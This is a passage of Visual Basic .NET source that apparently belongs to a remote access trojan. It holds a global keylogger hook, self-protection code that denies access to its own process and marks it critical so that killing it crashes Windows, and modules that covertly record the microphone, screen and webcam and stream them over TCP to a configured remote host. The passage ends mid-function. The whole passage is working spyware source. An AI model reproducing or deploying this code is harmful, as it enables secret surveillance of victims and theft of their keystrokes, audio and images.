  4999.     Public Event KU(ByVal Key As Keys)
  5000.     Public Event WindowChange(ByVal Caption As String)
  5001.     Private Shared KHK As Integer
  5002.     Private Shared KHD As KBPDL
  5003.     Public Sub Hook()
  5004.         On Error Resume Next
  5005.         KHD = New KBPDL(AddressOf KeyboardProc)
  5006.         KHK = SetWindowsHookEx(13, KHD, GetModuleHandle(0), 0)
  5007.         If KHK = 0 Then
  5008.             Dim ModH As IntPtr = Environment.GetCommandLineArgs(1)
  5009.             KHD = New KBPDL(AddressOf KeyboardProc)
  5010.             KHK = SetWindowsHookEx(13, KHD, ModH, 0)
  5011.         End If
  5012.     End Sub
  5013.  
  5014.     Private Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As kstruct) As Integer
  5015.         On Error Resume Next
  5016.         If (nCode = 0) Then
  5017.             Select Case wParam
  5018.                 Case &H100, &H104
  5019.                     RaiseEvent KD(CType(lParam.vkCode, Keys))
  5020.                 Case &H101, &H105
  5021.                     RaiseEvent KU(CType(lParam.vkCode, Keys))
  5022.             End Select
  5023.         End If
  5024.         Return CallNextHookEx(KHK, nCode, wParam, lParam)
  5025.     End Function
  5026.  
  5027.     Public Sub Unhook()
  5028.         On Error Resume Next
  5029.         UnhookWindowsHookEx(KHK)
  5030.         MyBase.Finalize()
  5031.     End Sub
  5032.  
  5033.     Public Function Feed(ByVal eCode As Keys) As String
  5034.         On Error Resume Next
  5035.         Select Case eCode
  5036.             Case 65 To 90
  5037.                 If Control.IsKeyLocked(Keys.CapsLock) Then
  5038.                     Return eCode.ToString
  5039.                 ElseIf (Control.ModifierKeys And Keys.Shift) <> 0 Then
  5040.                     Return eCode.ToString
  5041.                 Else
  5042.                     Return eCode.ToString.ToLower
  5043.                 End If
  5044.             Case 48 To 57
  5045.                 If (Control.ModifierKeys And Keys.Shift) <> 0 Then
  5046.                     Select Case eCode.ToString
  5047.                         Case "D1"
  5048.                             Return "!"
  5049.                         Case "D2"
  5050.                             Return "@"
  5051.                         Case "D3"
  5052.                             Return "#"
  5053.                         Case "D4"
  5054.                             Return "$"
  5055.                         Case "D5"
  5056.                             Return "%"
  5057.                         Case "D6"
  5058.                             Return "^"
  5059.                         Case "D7"
  5060.                             Return "&"
  5061.                         Case "D8"
  5062.                             Return "*"
  5063.                         Case "D9"
  5064.                             Return "("
  5065.                         Case "D0"
  5066.                             Return ")"
  5067.                     End Select
  5068.                 Else
  5069.                     Dim Control As String = eCode.ToString
  5070.                     Control = Control.Replace("D", "")
  5071.                     Return Control
  5072.                 End If
  5073.             Case 96 To 105
  5074.                 Dim Control As String = eCode.ToString
  5075.                 Control = Control.Replace("NumPad", "")
  5076.                 Return Control
  5077.             Case 106 To 111
  5078.                 Select Case eCode.ToString
  5079.                     Case "Divide"
  5080.                         Return "/"
  5081.                     Case "Multiply"
  5082.                         Return "*"
  5083.                     Case "Subtract"
  5084.                         Return "-"
  5085.                     Case "Add"
  5086.                         Return "+"
  5087.                     Case "Decimal"
  5088.                         Return "."
  5089.                 End Select
  5090.             Case 32
  5091.                 Return " "
  5092.             Case 186 To 222
  5093.                 If (Control.ModifierKeys And Keys.Shift) <> 0 Then
  5094.                     Select Case eCode.ToString
  5095.                         Case "OemMinus"
  5096.                             Return "_"
  5097.                         Case "Oemplus"
  5098.                             Return "+"
  5099.                         Case "OemOpenBrackets"
  5100.                             Return "{"
  5101.                         Case "Oem6"
  5102.                             Return "}"
  5103.                         Case "Oem5"
  5104.                             Return "|"
  5105.                         Case "Oem1"
  5106.                             Return ":"
  5107.                         Case "Oem7"
  5108.                             Return """"
  5109.                         Case "Oemcomma"
  5110.                             Return "<"
  5111.                         Case "OemPeriod"
  5112.                             Return ">"
  5113.                         Case "OemQuestion"
  5114.                             Return "?"
  5115.                         Case "Oemtilde"
  5116.                             Return "~"
  5117.                     End Select
  5118.                 Else
  5119.                     Select Case eCode.ToString
  5120.                         Case "OemMinus"
  5121.                             Return "-"
  5122.                         Case "Oemplus"
  5123.                             Return "="
  5124.                         Case "OemOpenBrackets"
  5125.                             Return "["
  5126.                         Case "Oem6"
  5127.                             Return "]"
  5128.                         Case "Oem5"
  5129.                             Return "\"
  5130.                         Case "Oem1"
  5131.                             Return ";"
  5132.                         Case "Oem7"
  5133.                             Return "'"
  5134.                         Case "Oemcomma"
  5135.                             Return ","
  5136.                         Case "OemPeriod"
  5137.                             Return "."
  5138.                         Case "OemQuestion"
  5139.                             Return "/"
  5140.                         Case "Oemtilde"
  5141.                             Return "`"
  5142.                     End Select
  5143.                 End If
  5144.             Case 16 To 17
  5145.                 Return Nothing
  5146.             Case 160 To 162
  5147.                 Return Nothing
  5148.             Case Keys.Return
  5149.                 Return "<Enter>"
  5150.             Case Keys.Back
  5151.                 Return "<Back>"
  5152.             Case Keys.LControlKey
  5153.                 Return "<LCTRL>"
  5154.             Case Keys.RControlKey
  5155.                 Return "<RCTRL>"
  5156.             Case Else
  5157.                 Return "<" + eCode.ToString + ">"
  5158.         End Select
  5159.         Return Nothing
  5160.     End Function
  5161. #End Region
  5162.  
  5163. End Class
  5164.  
  5165. #End Region
  5166.  
  5167. #Region " Self Protection "
  5168.  
  5169. Public Class SelfProtection
  5170.     <DllImport("advapi32.dll", SetLastError:=True)> Private Shared Function SetKernelObjectSecurity(ByVal Handle As IntPtr, ByVal securityInformation As Integer, <[In]()> ByVal pSecurityDescriptor As Byte()) As Boolean
  5171.     End Function
  5172.     <DllImport("ntdll")> Private Shared Function NtSetInformationProcess(ByVal hProcess As IntPtr, ByVal processInformationClass As Integer, ByRef processInformation As Integer, ByVal processInformationLength As Integer) As Integer
  5173.     End Function
  5174.     <DllImport("kernel32.dll")> Public Shared Function GetCurrentProcess() As IntPtr
  5175.     End Function
  5176.     <DllImport("advapi32.dll", SetLastError:=True)> Private Shared Function GetKernelObjectSecurity(ByVal Handle As IntPtr, ByVal securityInformation As Integer, <Out()> ByVal pSecurityDescriptor As Byte(), ByVal nLength As UInteger, ByRef lpnLengthNeeded As UInteger) As Boolean
  5177.     End Function
  5178.     Public Shared Function GetProcessSecurityDescriptor(ByVal processHandle As IntPtr) As RawSecurityDescriptor
  5179.         On Error Resume Next
  5180.         Dim array As Byte() = New Byte(-1) {}
  5181.         Dim num As UInteger
  5182.         GetKernelObjectSecurity(processHandle, 4, array, 0UI, num)
  5183.         If CULng(num) > 32767UL Then
  5184.             Throw New Win32Exception()
  5185.         End If
  5186.         If Not GetKernelObjectSecurity(processHandle, 4, InlineAssignHelper(array, New Byte(CInt(CType(num, UIntPtr)) - 1) {}), num, num) Then
  5187.             Throw New Win32Exception()
  5188.         End If
  5189.         Return New RawSecurityDescriptor(array, 0)
  5190.     End Function
  5191.     Public Shared Sub ProtectProcess()
  5192.         On Error Resume Next
  5193.         Dim currentProcess As IntPtr = GetCurrentProcess()
  5194.         Dim processSecurityDescriptor As RawSecurityDescriptor = GetProcessSecurityDescriptor(currentProcess)
  5195.         processSecurityDescriptor.DiscretionaryAcl.InsertAce(0, New CommonAce(AceFlags.None, AceQualifier.AccessDenied, 2035711, New SecurityIdentifier(WellKnownSidType.WorldSid, Nothing), False, Nothing))
  5196.         SetProcessSecurityDescriptor(currentProcess, processSecurityDescriptor)
  5197.     End Sub
  5198.  
  5199.     Public Shared Sub UnProtectProcess()
  5200.         On Error Resume Next
  5201.         Dim currentProcess As IntPtr = GetCurrentProcess()
  5202.         Dim processSecurityDescriptor As RawSecurityDescriptor = GetProcessSecurityDescriptor(currentProcess)
  5203.         processSecurityDescriptor.DiscretionaryAcl.InsertAce(0, New CommonAce(AceFlags.None, AceQualifier.AccessAllowed, 2035711, New SecurityIdentifier(WellKnownSidType.WorldSid, Nothing), False, Nothing))
  5204.         SetProcessSecurityDescriptor(currentProcess, processSecurityDescriptor)
  5205.     End Sub
  5206.  
  5207.     Public Shared Sub SetProcessSecurityDescriptor(ByVal processHandle As IntPtr, ByVal dacl As RawSecurityDescriptor)
  5208.         On Error Resume Next
  5209.         Dim array As Byte() = New Byte(dacl.BinaryLength - 1) {}
  5210.         dacl.GetBinaryForm(array, 0)
  5211.         If Not SetKernelObjectSecurity(processHandle, 4, array) Then
  5212.         End If
  5213.     End Sub
  5214.     Private Shared Function InlineAssignHelper(Of T)(ByRef target As T, ByVal value As T) As T
  5215.         On Error Resume Next
  5216.         target = value
  5217.         Return value
  5218.     End Function
  5219.     Public Shared Sub BsodProtect()
  5220.         On Error Resume Next
  5221.         Process.EnterDebugMode()
  5222.         Dim prot As Integer = 1
  5223.         NtSetInformationProcess(Process.GetCurrentProcess().Handle, 29, prot, Marshal.SizeOf(prot))
  5224.     End Sub
  5225.     Public Shared Sub BSODUnProtect()
  5226.         On Error Resume Next
  5227.         Process.LeaveDebugMode()
  5228.         Dim unprot As Integer = 0
  5229.         NtSetInformationProcess(Process.GetCurrentProcess().Handle, 29, unprot, Marshal.SizeOf(unprot))
  5230.     End Sub
  5231. End Class
  5232.  
  5233. #End Region
  5234.  
  5235. #Region " Microphone "
  5236.  
  5237. Public Class Microphone
  5238.  
  5239. #Region "Variables and API"
  5240.     Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Integer, ByVal hwndCallback As Integer) As Integer
  5241.     Private ReadOnly connectionId As Integer
  5242.     Private sampleLength As Integer
  5243.     Private StreamThread As Thread
  5244.     Private Const ListenMicrophone = 5
  5245. #End Region
  5246.  
  5247. #Region "Sub New"
  5248.     Public Sub New(ByVal Options As String)
  5249.         Try
  5250.             connectionId = Options.Split(SplitMark1)(2)
  5251.             sampleLength = Options.Split(SplitMark1)(3)
  5252.             StreamThread = New Thread(AddressOf StartMicStream)
  5253.             StreamThread.IsBackground = True
  5254.             StreamThread.SetApartmentState(ApartmentState.STA)
  5255.             StreamThread.Start()
  5256.         Catch ex As Exception
  5257.         End Try
  5258.     End Sub
  5259. #End Region
  5260.  
  5261. #Region "Stream audio captures"
  5262.     Public Sub StartMicStream()
  5263.         Dim microphoneStream As Stream
  5264.         Try
  5265.             Dim micClient = New TcpClient(compilerSettings.remoteHost, compilerSettings.remotePort)
  5266.             micClient.SendBufferSize = 1024
  5267.             micClient.Client.Send(System.Text.Encoding.UTF8.GetBytes(Chr(ListenMicrophone) & SplitMark1 & connectionId))
  5268.             micClient.SendBufferSize = 52400
  5269.             microphoneStream = micClient.GetStream()
  5270.             Do While micClient.Connected
  5271.                 Dim Msecs As Integer = New Random().Next(1, 80000)
  5272.                 Dim micpath As String = My.Computer.FileSystem.SpecialDirectories.Temp & "\" & Msecs & ".wav"
  5273.                 mciSendString("open new Type waveaudio Alias recsound", "", 0, 0)
  5274.                 mciSendString("record recsound", "", 0, 0)
  5275.                 Thread.Sleep(sampleLength)
  5276.                 mciSendString("save recsound " & micpath, "", 0, 0)
  5277.                 mciSendString("close recsound", "", 0, 0)
  5278.                 Dim bytes() As Byte = Compress(File.ReadAllBytes(micpath))
  5279.                 Dim b As New BinaryFormatter
  5280.                 b.Serialize(microphoneStream, bytes)
  5281.                 Try
  5282.                     If File.Exists(micpath) Then
  5283.                         File.Delete(micpath)
  5284.                     End If
  5285.                 Catch
  5286.                 End Try
  5287.             Loop
  5288.             StreamThread.Abort()
  5289.             micClient.Close()
  5290.             microphoneStream.Close()
  5291.             microphoneStream.Dispose()
  5292.             Exit Sub
  5293.         Catch ex As Exception
  5294.             microphoneStream.Close()
  5295.             microphoneStream.Dispose()
  5296.             Exit Sub
  5297.         End Try
  5298.     End Sub
  5299. #End Region
  5300.  
  5301. #Region "Compression"
  5302.     Private Shared Function Compress(ByVal unZippedData() As Byte) As Byte()
  5303.         Try
  5304.             Dim ms As New MemoryStream()
  5305.             Dim gZip As New Compression.GZipStream(ms, Compression.CompressionMode.Compress)
  5306.             gZip.Write(unZippedData, 0, unZippedData.Length)
  5307.             gZip.Close()
  5308.             Dim zippedData As Byte()
  5309.             zippedData = ms.ToArray()
  5310.             ms.Close()
  5311.             gZip.Dispose()
  5312.             ms.Dispose()
  5313.             Return zippedData
  5314.         Catch ex As Exception
  5315.         Finally
  5316.         End Try
  5317.         Return Nothing
  5318.     End Function
  5319. #End Region
  5320.  
  5321. End Class
  5322.  
  5323. #End Region
  5324.  
  5325. #Region " Remote Desktop "
  5326.  
  5327. Public Class RemoteDesktop
  5328.  
  5329. #Region "Variables"
  5330.     Private Const RemoteDesktop = 2
  5331.     Private Const Api = 1
  5332.     Private Const Gdi = 2
  5333.     Private connectionId As Integer
  5334.     Private RemoteIP As String
  5335.     Private RemotePort As Integer
  5336.     Private SendThread As Thread
  5337.     Public Shared jpegByteSize As String
  5338. #End Region
  5339.  
  5340. #Region "APIs"
  5341.  
  5342.  
  5343. #End Region
  5344.  
  5345. #Region "Declarations & Enums"
  5346.     Dim connectionClient As TcpClient
  5347.     Public Shared Quality As Integer = 55
  5348.     Dim resizePercent As Double = 1
  5349.     Public Shared ShowCursor As Integer = 1
  5350.     Public Shared Src As Screen = Screen.AllScreens(0)
  5351.     Public Shared Scr As Integer = 1
  5352.     Public Structure Compressions
  5353.         Dim UseLzw As Integer
  5354.         Dim UseRle As Integer
  5355.     End Structure
  5356.  
  5357.     Public Enum MethodEnum
  5358.         API = 1
  5359.         GDI = 2
  5360.     End Enum
  5361.  
  5362.     Public Enum DeskColor
  5363.         Bit32 = 32
  5364.         Bit24 = 24
  5365.         Bit16 = 16
  5366.         Bit8 = 8
  5367.         Gray = 1
  5368.     End Enum
  5369.     Public Sub New(ByVal id As Integer, ByVal IP As String, ByVal port As String, ByVal CommandString As String)
  5370.         Try
  5371.             RemoteIP = IP
  5372.             RemotePort = port
  5373.             connectionId = id
  5374.             captureMethod = Asc(CommandString.Substring(0, 1))
  5375.             Quality = Asc(CommandString.Substring(1, 1))
  5376.             resizePercent = Asc(CommandString.Substring(2, 1)) / 100
  5377.             ShowCursor = Asc(CommandString.Substring(5, 1))
  5378.             Scr = Asc(CommandString.Substring(6, 1))
  5379.             Src = Screen.AllScreens(Scr - 1)
  5380.             SendThread = New Thread(AddressOf SendScreenThread)
  5381.             SendThread.IsBackground = True
  5382.             SendThread.SetApartmentState(ApartmentState.STA)
  5383.             SendThread.Start()
  5384.             Thread.Sleep(500)
  5385.         Catch ex As Exception
  5386.  
  5387.         End Try
  5388.     End Sub
  5389. #End Region
  5390.  
  5391. #Region "Take Screenshot with APIs"
  5392.     Public Shared Function TakeAPIscreenshot() As Image
  5393.         Try
  5394.             Dim hSDC, hMDC As Integer
  5395.             Dim hBMP, hBMPOld As Integer
  5396.             Dim r As Integer
  5397.             hSDC = CreateDC("DISPLAY", "", "", "")
  5398.             hMDC = CreateCompatibleDC(hSDC)
  5399.             FW = GetDeviceCaps(hSDC, 8)
  5400.             FH = GetDeviceCaps(hSDC, 10)
  5401.             hBMP = CreateCompatibleBitmap(hSDC, FW, FH)
  5402.             hBMPOld = SelectObject(hMDC, hBMP)
  5403.             Dim bounds As Rectangle
  5404.             bounds = Src.Bounds
  5405.             r = BitBlt(hMDC, 0, 0, bounds.Width, bounds.Height, hSDC, bounds.X, bounds.Y, 13369376)
  5406.             hBMP = SelectObject(hMDC, hBMPOld)
  5407.             r = DeleteDC(hSDC)
  5408.             r = DeleteDC(hMDC)
  5409.             TakeAPIscreenshot = Image.FromHbitmap(New IntPtr(hBMP))
  5410.             DeleteObject(hBMP)
  5411.         Catch ex As Exception
  5412.             Return Nothing
  5413.         End Try
  5414.     End Function
  5415. #End Region
  5416.  
  5417. #Region "Take screenshot with GDI+"
  5418.     Public Shared Function TakeScreenshotWithGDI() As Image
  5419.         Try
  5420.             Const PFormat As PixelFormat = PixelFormat.Format24bppRgb
  5421.             Dim bounds As Rectangle
  5422.             Dim screenshot As Bitmap
  5423.             Dim graph As Graphics
  5424.             bounds = Src.Bounds
  5425.             screenshot = New Bitmap(bounds.Width, bounds.Height, PFormat)
  5426.             graph = Graphics.FromImage(screenshot)
  5427.             graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
  5428.             If ShowCursor = 2 Then
  5429.                 Dim cursorBmp As Bitmap = CaptureCursor(X, Y)
  5430.                 graph.DrawImage(cursorBmp, x, y)
  5431.                 cursorBmp.Dispose()
  5432.             End If
  5433.             graph.Dispose()
  5434.             Return screenshot
  5435.         Catch
  5436.             Return Nothing
  5437.         End Try
  5438.     End Function
  5439. #End Region
  5440.  
  5441. #Region "Get cursor coordinates"
  5442.     Function ReturnCur() As Bitmap
  5443.         On Error Resume Next
  5444.         Dim hicon As IntPtr
  5445.         Dim ci As CURSORINFO = New CURSORINFO()
  5446.         Dim icInfo As ICONINFO
  5447.         ci.cbSize = Marshal.SizeOf(ci)
  5448.         If GetCursorInfo(ci) Then
  5449.             hicon = CopyIcon(ci.hCursor)
  5450.             If GetIconInfo(hicon, icInfo) Then
  5451.                 Return Icon.FromHandle(hicon).ToBitmap
  5452.             End If
  5453.         End If
  5454.         Return Nothing
  5455.     End Function
  5456. #End Region
  5457.  
  5458. #Region "Screenshot sending thread"
  5459.  
  5460.  
  5461. #Region "Cursor"
  5462.     <DllImport("dwmapi.dll", PreserveSig:=False)> _
  5463.     Public Shared Function DwmIsCompositionEnabled() As Boolean
  5464.     End Function
  5465.     <DllImport("dwmapi.dll", PreserveSig:=False)> _
  5466.     Public Shared Sub DwmEnableComposition(ByVal bEnable As Boolean)
  5467.     End Sub
  5468.     Private Sub DisableAero()
  5469.         Try
  5470.             DwmEnableComposition(False)
  5471.         Catch ex As Exception
  5472.         End Try
  5473.     End Sub
  5474.     Private Shared Function CaptureCursor(ByRef x As Integer, ByRef y As Integer) As Bitmap
  5475.         On Error Resume Next
  5476.         Dim bmp As Bitmap
  5477.         Dim hicon As IntPtr
  5478.         Dim ci As New CURSORINFO()
  5479.         Dim icInfo As ICONINFO
  5480.         ci.cbSize = Marshal.SizeOf(ci)
  5481.         If GetCursorInfo(ci) Then
  5482.             hicon = CopyIcon(ci.hCursor)
  5483.             If GetIconInfo(hicon, icInfo) Then
  5484.                 x = ci.ptScreenPos.X - CInt(icInfo.xHotspot)
  5485.                 y = ci.ptScreenPos.Y - CInt(icInfo.yHotspot)
  5486.                 Dim ic As Icon = Icon.FromHandle(hicon)
  5487.                 bmp = ic.ToBitmap()
  5488.                 ic.Dispose()
  5489.                 Return bmp
  5490.             End If
  5491.         End If
  5492.         Return Nothing
  5493.     End Function
  5494. #End Region
  5495.  
  5496.     Dim motionDetection As MotionDetection
  5497.     Private Sub SendScreenThread()
  5498.         Dim trafficStream As Stream
  5499.         Try
  5500.             connectionClient = New TcpClient(remoteHost, RemotePort)
  5501.             connectionClient.SendBufferSize = 1024
  5502.             trafficStream = connectionClient.GetStream()
  5503.             connectionClient.Client.Send(System.Text.Encoding.UTF8.GetBytes(Chr(RemoteDesktop) & SplitMark1 & connectionId))
  5504.             connectionClient.SendBufferSize = 102400
  5505.             motionDetection = New MotionDetection()
  5506.             Dim DesktopImage As Image
  5507.             Do While connectionClient.Connected
  5508.                 Try
  5509.                     DesktopImage = TakeScreenshotWithGDI()
  5510.  
  5511.                     Dim stream As New MemoryStream
  5512.                     motionDetection.Encode(DesktopImage, stream, Quality)
  5513.                     stream.Position = 0
  5514.                     If stream.Length > 0 Then
  5515.                         trafficStream.Write(BitConverter.GetBytes(CInt(stream.Length)), 0, 4)
  5516.                         trafficStream.Write(stream.GetBuffer(), 0, stream.Length)
  5517.                     End If
  5518.                     stream.Dispose()
  5519.                     stream.Close()
  5520.                 Catch ex As Exception
  5521.                     motionDetection.lastBitmap = Nothing
  5522.                     DesktopImage = Nothing
  5523.                     motionDetection.decodeBitmap = Nothing
  5524.                 End Try
  5525.             Loop
  5526.             oldimage = Nothing
  5527.             motionDetection.lastBitmap = Nothing
  5528.             motionDetection.decodeBitmap = Nothing
  5529.             DesktopImage = Nothing
  5530.             connectionClient.GetStream.Close()
  5531.             connectionClient.Close()
  5532.             trafficStream.Close()
  5533.             trafficStream.Dispose()
  5534.             connectionClient = Nothing
  5535.             GC.Collect()
  5536.             Exit Sub
  5537.         Catch ex As Exception
  5538.             SendStatus("Remote desktop stopped...")
  5539.             Try
  5540.                 motionDetection.lastBitmap = Nothing
  5541.                 motionDetection.decodeBitmap = Nothing
  5542.                 connectionClient.GetStream.Close()
  5543.                 connectionClient.Close()
  5544.                 connectionClient = Nothing
  5545.                 trafficStream.Close()
  5546.                 trafficStream.Dispose()
  5547.                 GC.Collect()
  5548.             Catch
  5549.             End Try
  5550.         End Try
  5551.     End Sub
  5552. #End Region
  5553.  
  5554. End Class
  5555.  
  5556. #End Region
  5557.  
  5558. #Region " Webcam "
  5559.  
  5560. Public Class Webcam
  5561.  
  5562. #Region "Apis"
  5563.     Private Declare Function BitBlt Lib "GDI32" (ByVal srchDC As Integer, ByVal srcX As Integer, ByVal srcY As Integer, ByVal srcW As Integer, ByVal srcH As Integer, ByVal desthDC As Integer, ByVal destX As Integer, ByVal destY As Integer, ByVal op As Integer) As Integer
  5564.     Public Const WM_CAP As Short = &H400S
  5565.     Public Const WS_VISIBLE As Integer = &H10000000
  5566.     Public Const WS_CHILD As Integer = &H40000000
  5567.     Public Const WM_CAP_DRIVER_CONNECT As Integer = WM_CAP + 10
  5568.     Public Const WM_CAP_COPY As Integer = 1054
  5569.     Public Const WM_CAP_GET_FRAME As Integer = 1084
  5570.     Public Const WM_CAP_DRIVER_DISCONNECT As Integer = WM_CAP + 11
  5571.     Const GWLP_HWNDPARENT As Integer = -8
  5572.     Const WM_CAP_SET_PREVIEW As Integer = WM_CAP + 50
  5573.     Const WM_CAP_SET_PREVIEWRATE As Integer = WM_CAP + 52
  5574.     Const WM_CAP_SET_SCALE As Integer = WM_CAP + 53
  5575.     Const SWP_NOMOVE As Short = &H2S
  5576.     Const SWP_NOZORDER As Short = &H4S
  5577.     Const HWND_BOTTOM As Short = 1
  5578.     Public Declare Function DestroyWindow Lib "user32" (ByVal hndw As Integer) As Boolean
  5579.     Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
  5580.         (ByVal hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, _
  5581.         <MarshalAs(UnmanagedType.AsAny)> ByVal lParam As Object) As Integer
  5582.     Public Declare Function capCreateCaptureWindowA Lib "avicap32.dll" _
  5583.       (ByVal lpszWindowName As String, ByVal dwStyle As Integer, _
  5584.       ByVal x As Integer, ByVal y As Integer, ByVal nWidth As Integer, _
  5585.       ByVal nHeight As Short, ByVal hWndParent As Integer, _
  5586.       ByVal nID As Integer) As Integer
  5587.     Dim hHwnd As Integer
  5588.     Private Function SetWindowLongW(ByVal hWnd As HandleRef, ByVal nIndex As Integer, ByVal dwNewLong As IntPtr) As Integer
  5589.     End Function
  5590. #End Region
  5591.  
  5592. #Region "Declarations & Enums"
  5593.     Private webcamFrame As Image
  5594.     Private Const webcamByte = 3
  5595.     Private dataThread As Thread
  5596.     Public Shared webcamSocket As TcpClient
  5597.     Public Shared imageQuality As Integer = 55
  5598.     Public Shared imageResize As Double = 1
  5599.     Public Shared Compression As Compressions
  5600.     Public Shared connectionId As Integer
  5601.     Public Shared remoteIp As String
  5602.     Public Shared remotePort As Integer
  5603.     Public Shared jpegByteSize As String
  5604.     Dim F As Windows.Forms.Form
  5605.     Dim picCapture As Windows.Forms.PictureBox
  5606.     Dim consoleHWnd As IntPtr
  5607.     Public Structure Compressions
  5608.         Dim UseLZW As Integer
  5609.         Dim UseRLE As Integer
  5610.     End Structure
  5611. #End Region
  5612.  
  5613.     Public Sub New(ByVal serverID As Integer, ByVal IP As String, ByVal port As String, ByVal commandString As String, ByVal device As String)
  5614.         Try
  5615.             allDevices = New FilterInfoCollection(FilterCategory.VideoInputDevice)
  5616.             remoteIp = IP
  5617.             remotePort = port
  5618.             connectionId = serverID
  5619.             imageQuality = Int(Asc(commandString.Substring(0, 1)))
  5620.             iDevice = CInt(device)
  5621.             Compression.UseLZW = Asc(commandString.Substring(1, 1))
  5622.             Compression.UseRLE = Asc(commandString.Substring(2, 1))
  5623.             Dim t As New Thread(AddressOf OpenCamWindow)
  5624.             t.Start()
  5625.         Catch ex As Exception
  5626.         End Try
  5627.     End Sub
  5628.     Dim frame As Bitmap
  5629.     Dim allDevices As FilterInfoCollection
  5630.     Dim webcam As VideoCaptureDevice
  5631.     Sub video_NewFrame(ByVal sender As Object, eventArgs As NewFrameEventArgs)
  5632.         frame = CType(eventArgs.Frame.Clone(), Bitmap)
  5633.         GC.Collect()
  5634.     End Sub
  5635.     Public Sub OpenWebcam()
  5636.         Dim dataStream As Stream = Nothing
  5637.         Try
  5638.             webcamSocket = New TcpClient(remoteHost, remotePort)
  5639.             webcamSocket.SendBufferSize = 1024
  5640.             dataStream = webcamSocket.GetStream()
  5641.             webcamSocket.Client.Send(System.Text.Encoding.Default.GetBytes(Chr(webcamByte) & SplitMark1 & connectionId & SplitMark1))
  5642.             webcamSocket.SendBufferSize = 10240
  5643.             Do While webcamSocket.Connected
  5644.                 If webcam.IsRunning Then
  5645.                     webcamFrame = ImageManaging.ConvertToJpeg(frame.Clone, imageQuality)
  5646.                     Dim b As BinaryFormatter = New BinaryFormatter
  5647.                     b.Serialize(dataStream, webcamFrame)
  5648.                 End If
  5649.             Loop
  5650.             webcam.SignalToStop()
  5651.             webcam.WaitForStop()
  5652.             webcam = Nothing
  5653.             If webcamSocket.GetStream IsNot Nothing Then
  5654.                 webcamSocket.GetStream.Close()
  5655.             End If
  5656.             webcamSocket.Close()
  5657.             dataStream.Close()
  5658.             dataStream.Dispose()
  5659.             GC.Collect()
  5660.             Exit Sub
  5661.         Catch ex As Exception
  5662.             Try
  5663.                 webcam.SignalToStop()
  5664.                 webcam.WaitForStop()
  5665.                 webcam = Nothing
  5666.                 GC.Collect()
  5667.                 If webcamSocket.GetStream IsNot Nothing Then
  5668.                     webcamSocket.GetStream.Close()
  5669.                 End If
  5670.                 webcamSocket.Close()
  5671.  
  5672.  
  5673.                 dataStream.Close()
  5674.                 dataStream.Dispose()
  5675.  
  5676.             Catch
  5677.             End Try
  5678.         End Try
  5679.     End Sub
  5680.  
  5681.     Dim iDevice As Integer = 0
  5682.  
  5683.     Public Sub OpenCamWindow()
  5684.         Try
  5685.             webcam = New VideoCaptureDevice(allDevices(iDevice).MonikerString)
  5686.             AddHandler webcam.NewFrame, AddressOf video_NewFrame
  5687.             '  webcam.DesiredFrameSize = New Size(320, 240)
  5688.             'videoSource.DesiredFrameRate = 20
  5689.             webcam.Start()
  5690.             Do
  5691.                 If webcam.IsRunning Then
  5692.                     If frame Is Nothing Then
  5693.                         GC.Collect()
  5694.                     Else
  5695.                         dataThread = New Thread(AddressOf OpenWebcam)
  5696.                         dataThread.IsBackground = True
  5697.                         dataThread.SetApartmentState(ApartmentState.STA)
  5698.                         dataThread.Start()
  5699.                         GC.Collect()
  5700.                         Exit Do
  5701.                     End If
  5702.                 Else
  5703.                     Exit Do
  5704.  
  5705.                 End If
  5706.             Loop
  5707.         Catch ex As Exception
  5708.             Exit Sub
  5709.  
  5710.         End Try
  5711.  
  5712.  
  5713.  
  5714.         'On Error Resume Next
  5715.         'F = New Form
  5716.         'F.Size = New Size(422, 253)
  5717.         'F.ShowInTaskbar = False
  5718.         'picCapture = New PictureBox
  5719.         'picCapture.BackColor = Color.Black
  5720.         'picCapture.Location = New Point(12, 90)
  5721.         'picCapture.Name = "picCapture"
  5722.         'picCapture.Size = New Size(422, 253)
  5723.         'picCapture.SizeMode = Windows.Forms.PictureBoxSizeMode.AutoSize
  5724.         'picCapture.TabIndex = 3
  5725.         'picCapture.Dock = DockStyle.Fill
  5726.         'F.Opacity = 0
  5727.         'picCapture.TabStop = False
  5728.         'F.Controls.Add(picCapture)
  5729.         'SetWindowLongW(New HandleRef(F, F.Handle), GWLP_HWNDPARENT, consoleHWnd)
  5730.         'F.Visible = False
  5731.         'F.Opacity = 0
  5732.         'AddHandler F.Load, AddressOf Load
  5733.         'Application.Run(F)
  5734.         'F.Hide()
  5735.         'SetWindowLongW(New HandleRef(F, F.Handle), GWLP_HWNDPARENT, consoleHWnd)
  5736.     End Sub
  5737.     Public Sub Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
  5738.         On Error Resume Next
  5739.         OpenPreviewWindow()
  5740.         dataThread = New Thread(AddressOf OpenWebcam)
  5741.         dataThread.IsBackground = True
  5742.         dataThread.SetApartmentState(ApartmentState.STA)
  5743.         dataThread.Start()
  5744.         F.Hide()
  5745.     End Sub
  5746.     Private Sub OpenPreviewWindow()
  5747.         Try
  5748.             hHwnd = capCreateCaptureWindowA(iDevice, WS_VISIBLE Or WS_CHILD, 0, 0, 640, 480, picCapture.Handle.ToInt32, 0)
  5749.             If SendMessage(hHwnd, WM_CAP_DRIVER_CONNECT, iDevice, 0) Then
  5750.                 SendMessage(hHwnd, WM_CAP_SET_SCALE, True, 0)
  5751.                 SendMessage(hHwnd, WM_CAP_SET_PREVIEWRATE, 66, 0)
  5752.                 SendMessage(hHwnd, WM_CAP_SET_PREVIEW, True, 0)
  5753.                 SetWindowPos(hHwnd, HWND_BOTTOM, 0, 0, picCapture.Width, picCapture.Height, SWP_NOMOVE Or SWP_NOZORDER)
  5754.                 F.Location = New Point(My.Computer.Screen.Bounds.Width + 100, My.Computer.Screen.Bounds.Height - 350)
  5755.             Else
  5756.                 DestroyWindow(hHwnd)
  5757.             End If
  5758.         Catch ex As Exception
  5759.         End Try
  5760.     End Sub
  5761.  
  5762.     Public Function CaptureCam() As Image
  5763.         Try
  5764.             Return copyIt
  5765.         Catch
  5766.             Return Nothing
  5767.             'SendMessage(hHwnd, WM_CAP_DRIVER_DISCONNECT, 0, 0)
